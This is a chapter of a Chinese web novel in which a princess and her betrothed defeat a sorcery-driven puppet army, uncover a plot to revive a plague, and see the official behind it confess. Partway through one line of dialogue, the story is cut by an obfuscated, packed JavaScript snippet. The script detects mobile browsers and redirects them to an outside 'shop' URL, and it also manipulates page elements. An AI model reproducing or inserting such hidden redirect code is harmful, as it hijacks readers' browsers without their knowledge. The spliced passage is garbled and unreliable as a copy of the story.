看到马的身侧还别有一张弓,赵昭顺嘴问:“你弓术练得怎么样了?” 燕怀珏嘿嘿乖巧道:“能射中五环了。” “嗯,挺好挺好。值得夸奖。”赵昭看向香厂大门外。 傀儡还在源源不断地冲进来,两扇门连接处都已经彻底烂了,摇摇欲坠。 可是仔细看,傀儡群的末端,有一只傀儡站在那里一动不动。 他看起来与其他傀儡别无二致,背后却在淡淡泛着红光。 赵昭想到刚才墓室符咒亮起的鲜红微光,指着那只傀儡摇了摇燕怀珏的胳膊:“走,我们杀过去!” “好!”看到赵昭手指的方向,燕怀珏也明白了她的意图,烟花攻击的方向调了个头。 赵昭环住他,牵起缰绳,操控着马向前推进,偶尔再腾出一只手帮燕怀珏清理掉漏网之鱼。 燕怀珏的身体一直紧绷着,尤其在赵昭的胳膊偶尔碰到他的腰、或者张望前方的时下巴偶尔磕一下他颈窝的时候,会微不可察地颤抖一下。 不过两人一句话都没说,只是静静做着自己的事。 赵昭能感受到,越靠近那身后泛着红光的傀儡时,马前的木傀儡攻击性越强。 外围的傀儡群最多是扑过来抱住腿,可是里圈的会精准锁定赵昭和燕怀珏两人,朝他们抓来! 赵昭自己在燕怀珏后面待着,还没有那么凶险。可是身前燕怀珏几次都险些被抓到,是赵昭分神防御时才把他们砍走。 这样下去不行,不能拿燕怀珏做挡箭牌推在前面。赵昭提起缰绳,转头往最开始的阵地跑去。 “燕公子,你把弓拿起来。” 他听话拿起弓后,赵昭把烟花用另一根发带绑在箭上,交给燕怀珏。 脑子里又突然蹦出来“这不是教弓术的好机会吗!”“他身体弱,只怕瞄准了也很难射中”这种想法,在燕怀珏拉弓时,她两只手覆在他的手上。 燕怀珏的呼吸彻底停滞了。 赵昭借着马背的力道站起,靠在他的肩头瞄准那只首领傀儡:“你学我用劲,眼睛这样看。对,就这样射出去,松手!” 绑着烟花的箭拖着一路烟尾,分割白空上下,在首领傀儡面前炸开。 这是赵昭的烟花。当时担心不够显眼,选了声音最大、颜色最花里胡哨的那一个种类。 炸开的前一刻想到这个问题,赵昭手忙脚乱。至少是白天放的烟花,应该不至于让人彻底变成瞎子,不过耳朵这块就不好说了! 于是慌乱之中,她帮忙捂住了燕怀珏的耳朵,提醒一句“闭眼”。毕竟他在自己前面,受到的伤害肯定要更大。 明明燕怀珏全身都凉凉的,不知道怎么回事耳朵这样热。 即便紧闭双眼,赵昭也能感觉眼前闪过了模糊的各色彩光。一道能震得山崩地裂的轰鸣声过后,她赶紧睁开眼,看向前方。 首领傀儡处炸了个巨坑,身上燃起大火,连带着身边那些侍卫傀儡全部烧起,在地上滚动。 趁它们此刻虚弱,赵昭赶过去看首领傀儡的背后。 果然密密麻麻刻着符咒。不过此刻已经全部黯淡下来,变成普通的鬼画符。 如同墓室里的符文一样,这是邪术。 17.闲判官8 香厂大院内的陈设已经全被掀翻在地,晾晒的捆香被踩得变成香粉。 傀儡身上的烈火顺着香粉燃起,烧得整个院内乌烟瘴气。只是一香炉的香火就够让人窒息了,何况是一整个院子扬得到处都是的香火呢? 首领傀儡一倒,所有傀儡就都像被抽走了魂,纷纷趴倒在地。 十凤和菩提蓄力一击共同挥出,把最后一只神像击碎,头部落在地上滚了几圈,不动了。 这才敢冒头的赵煊从大堂门后探出半个身子来,被眼前这一幕惊呆了:“我活了不到小半辈子,第一次见到这等场面。小刘,你真带我见世面了。燕公子,你怎么在这里?这是你家的童子?了不得啊!” 燕怀珏听到赵煊叫赵昭“小刘”,遮面笑道:“三殿下说笑了,并非我家的,只是顺路帮忙的两位小道长。” “说来,当务之急呢,我认为是先跑路。”十凤看着两边客气来客气去的,火舌都要燎上马尾了,忍不住插嘴道。 赵昭把首领傀儡挑起来,放在马上。这些傀儡应该是香厂护卫,附有邪术,发生什么不对劲就会出现。 她附和道:“对,我们先撤,叫人过来灭火。地下牢房那边火烧不过去,证据不怕被销毁。不过柳大人她们,还有香厂的人呢?” 赵煊指挥人把自己的爱马牵了过来,答道:“炎儿刚才找到阿甲逃走的地方了,不知怎么回事林子里有个地方破了大洞,连到牢房,附近的草木全都枯萎了。她带着人从那里转移了。” 闻言,十凤和菩提脸上都闪过一丝不自然的神色。菩提假装无事道:“快走。” 赵昭几人从香厂后门前脚刚走,后方就传来了官兵们赶到的声音。 可能是刚才这边动静太大,有百姓听着奇怪,就报了官。 此地附近有不少树木,最容易燃起大火。一群人不忙着救火,只是拼了命地把余下的木偶扔进火里。 看到这番景象,赵昭大悟。 首领木偶背上既然有和香厂里一样的邪术符咒,那就和邓侍郎脱不开关系。这些人,只怕也是邓侍郎的人,要把证据全部销毁! “你们先回去和炎儿汇合,我去会会他们。”赵煊也看到了,眉头不禁往眼下一压,策马跑去。 赵昭四人于是找了条林荫小道,专挑偏僻的走。 面上遮个东西,加上刚才经历过一场大战,赵昭已经喘不过气来,摘下了面具。 燕怀珏脸上不知何时覆上的一层红纱此刻并未褪去,看到赵昭露出脸后,得意道:“果然是六殿下。” 十凤和菩提见状,瘪着嘴,面部扭曲。幸好两人并没有再多说什么,只是默默互相搡一下、踢一脚的自觉向前走了走,开路去了。 赵昭终于有空说闲话了:“每次都被你猜中,真不知道你怎么想的。刚才三哥的问题还没回答呢,你怎么在这?” 燕怀珏从马上取下一个精致盒子。打开的瞬间,一股又怪异又香的气味迎面扑来。 “我爹回来京中后,听说了蛮疆奇香,想让我带一捆回去。今天正好有,我便来看看,结果碰上了这档事,还遇到了你,真是……缘分。” 燕怀珏说到最后,别过头去,不看赵昭的眼睛。 ……在娇羞什么! 赵昭仔细思考起刚才的行为,发现的确是不太像普通往来,未免有些不尊重人了。 于是她道:“原来如此,的确是很巧了。刚才一时情急,我做了不少冒犯的举动,但我绝对没有非分之想!你务必不要在意,绝对不会再有下次了。” 燕怀珏头猛地转了过来,嘴微微张着,似乎有什么话要脱口而出。 但很快,他眨眨眼,微笑道:“才不会,我还要多谢六殿下愿意教我射箭呢。弟子愚笨,日后要多请昭先生指教才对。” 赵昭见他接受良好的样子,放下心来:“这倒没什么。之后我们……成亲了,每天都有时间。” 她也不再说话。 其实,脑子里仍在止不住的思考。 赵昭并不相信这件事会有这么巧。如果燕怀珏只是来看香的话,带着烟花和弓箭做什么?显然是有备而来。 一番说辞,更像是临时编出来的借口。不过这次破绽太多,赵昭立刻就反应过来了。 既然如此,他为什么要瞒她、骗她? 初遇就是精心设计,在香厂依然在恰到好处的时候出现。此人实在过于深藏不露,令人难以猜中心思和目的。 赵昭又在心里记上一笔——好心机的驸马!日后一定要查出他的真面目! 一路上,赵昭把这次行动大概的前因后果给几人讲了一遍,将和赵煊柳炎儿密谋的部分隐去,只说是意外。 在十凤和菩提的带领下,四人来到了赵煊说的那个大洞旁。 近看大小,堪比一片池塘。能看出来曾有人做过努力,在上面铺了些石子树枝,此刻也已经大开。 “都是你干的,这次我可什么都没烧。”十凤对菩提摊手。 “……没说是你。”菩提眼尖,从一堆杂草中捡起了一个小瓷瓶。里面的不明液体因为被摔碎,流出去了一大半。 然而,目之所及沾染过液体的地方,草木全都像被吸干了,一碰就碎。 柳炎儿带的队还没有上来,几人就在树荫下等待。 “我怀疑他们是要复刻八年前那场瘟疫。” 赵昭盯着菩提手上的瓶子,神色凝重:“那香厂里有邪术的符咒,应该是招魂用的。一群人想要把当年那个质子——就是他们世子殿下的魂叫回来,重新研究蛊毒。” 想起梦里荆文曲化身的被略人身上的症状,还有蛮疆狱卒癫狂大叫“蛊炼成了”,无不指向她的这一猜测。 燕怀珏的手指交叉在一起,下意识弯了弯:“那这岂不是从失踪案,上升到了谋反案?” 菩提原本就冷的语气,此刻更是寒气森然,斩钉截铁道:“不可能做到的,永远都不可能。” 十凤难得没有埋汰菩提两句,只是把她的外套拿过来垫在屁股下面,抱膝坐着。 赵昭继续思考:“蛮疆人为什么要这样做,邓侍郎又为什么和他们勾结到一起……” 燕怀珏轻声道:“大约是心有不甘吧。八年前蛮疆攻打大启,明明质子投毒引发的一场瘟疫让两方两败俱伤,最终大启却因一场大火得胜,俘虏了许多蛮疆人。” “这些年来,只怕蛮疆百姓在大启并不好过。至于邓侍郎那边,只能听听他的说法了。” 他看向香厂的方向:“六殿下可知,这座香厂曾经是座监狱?” 赵昭点头:“这个知道。” 燕怀珏道:“这几座在京郊的监狱,原来都是战争中临时关押蛮疆要犯的。后来这里这座废弃了,才被邓侍郎收了去。” 八年前赵昭才六岁,许多细枝末节早已记不清楚。 只记得那一年被天灾人祸支配的可怖。 不过,赵昭倒是有所耳闻,战后一些蛮疆百姓流入大启后,常常被大启人欺压、侮辱,沦为许多人家中的家仆,任其打骂。 受辱数年的蛮疆人对大启人恨之入骨,想要效仿当年质子制成的蛊毒报复。如此看来,整个过程便明晰了。 中间有着不少冤冤相报何时了的故事,有许多无辜的人被牵扯其中。不论是无辜的蛮疆百姓受辱,还是无辜的被略人被拿来试毒。 可是赵昭心想:过去的事已经发生了,没有挽回的余地了。所以,干脆怀着思考,着眼于当下吧! 不过多时,柳炎儿就带着大队人,一身浩然正气的出现在洞口。 总觉得她每次出场,身上都自带某种话本主角的光环! 本来见到四人,柳炎儿十分惊喜。四下看看发现赵煊不在后,她急切问道:“三殿下呢?” 赵昭把刚才发生的事给她讲了一遍,顺了两下她的胳膊,安抚道:“你先别急!我们先把人押送回去,找人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17538897|203347||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来帮三哥,再找我太子弟弟陈明这件事。全都靠你啦柳大人!” 柳炎儿这个自从做官以来就一直被排挤的郎中,从未感到身上肩负着如此重担,当即飘飘然如入仙境,风风火火就跑了。 - 五日后。 赵昭在国子监习过文课后,出门就被赵煊扛在肩上:“走,三哥带你去吃饭!这次去九霄楼,你想吃什么就吃什么!” 赵昭当即肘了他一胳膊:“大哥,你先放我下来行不行?我会自己走!” 赵煊嘴要咧到耳后根:“别这样叫我,你那真大哥听到要抽死你,再揪着我的耳朵骂一顿的。你知道吗,炎儿要升官了!邓大人竟然全部供认不讳啦!” 邓大人邓云鹤,即刑部侍郎,邓嫔邓思慧的小叔。 犯下此等重罪,牵扯诸多人在其中,此刻已经被打入诏狱了,想必不日就会被问斩。 赵昭双眼睁圆:“真的吗?柳大人是要顶上邓大人的位置,做刑部侍郎了?” 赵煊把她安稳放在马车上,又把厚厚一沓新话本拍在赵昭手上:“对。炎儿这次是大功臣,父皇要考核她一阵子,之后就能做侍郎了。昭儿,你当真是福星降世啊!” 他点点赵昭手上的话本:“这次没看到《银鸢泪》,好像是暂停更新了,就给你买了其他你看的。回去好好看吧!日后有什么忙要帮,也尽管找我开口。” 赵昭乐道:“那就多谢三哥啦!” 柳炎儿先斩后奏,但揪出一众企图谋逆者,又救下近百名被略人,是确确实实的大功一件,这点小过一笔勾销。此后,柳氏人在朝中也不会被处处非议了。 不怪赵煊这么高兴。柳炎儿今后前程似锦,母族被正名,谁会不高兴呢? 他本人也因为“无意中发现了蛮疆人的密谋”,被景乾帝大赞特赞一通,赏了不少奇珍异玩。 不过赵昭燕怀珏等人则是事了拂衣去,深藏功与名了。这种事,或许不出头更好一些。 赵昭自认为是个闲散惯了的公主,上次南芜春蒐事件出够了风头,这次再立下一件无法解释原因的大功,大约是要引火上身了! 赵煊从一开始就算半个友军,柳炎儿和她的想法不谋而合,才这么好忽悠。让别人知道了这件事,指不定又要多出多少阴谋论。 她还暗自庆幸,幸好上次赵煊买给她的《银鸢泪》她还一点都没看,否则又要抓心挠肝等更新了。 不过,有关邓云鹤的事,她还是有些疑问。 “邓大人怎么说的,他为什么和蛮疆人联手?” 赵煊回:“一方面是为了买卖奇香赚钱。一方面……邓氏祖上与父皇有些渊源。” “邓氏曾经有修道者在钦天监,后来因为修炼魔道邪术走火入魔,死了伤了不少人,因此父皇在钦天监就不再用邓氏的人了,还勒令烧毁他们全部魔道邪术典籍,处理了大批修习邪术者,只保留正道修习典籍。” 赵昭问:“烧毁全部魔道邪术典籍?我的妈,那岂不是祖上传下来的心血毁于一旦了?不过既然出事了,这也无可厚非……父皇还敢用?” 赵煊答:“邓大人是例外。他在出这事前一直兢兢业业,出事后还置若罔闻,似乎是和家中有些矛盾。加上在朝中一直是清流,父皇于是就没有革他的职。” 九公主死于瘟疫,让邓思慧沉溺于丧女之痛中。然而她的小叔邓云鹤,或是因家中根基被拔,或是因对邪道被除的忿忿不平,却在协助复刻这场瘟疫。 实在过于荒谬,赵昭于是默默在心中做了个笔记。 菩提说这群蛮疆人是拙劣模仿,但如果真炼成了蛊毒,只怕会造成弥天大祸。以后如果要做皇帝,绝对不能犯父皇这样的错。 前两天听十凤菩提的消息,是说那群被略人全都被送去医馆,由菩提诊治。至于燕怀珏,当然是爱去哪去哪,反正平时是轻易找不到这个人的。 一件大事毕,赵昭和赵煊乐呵呵吃席去了。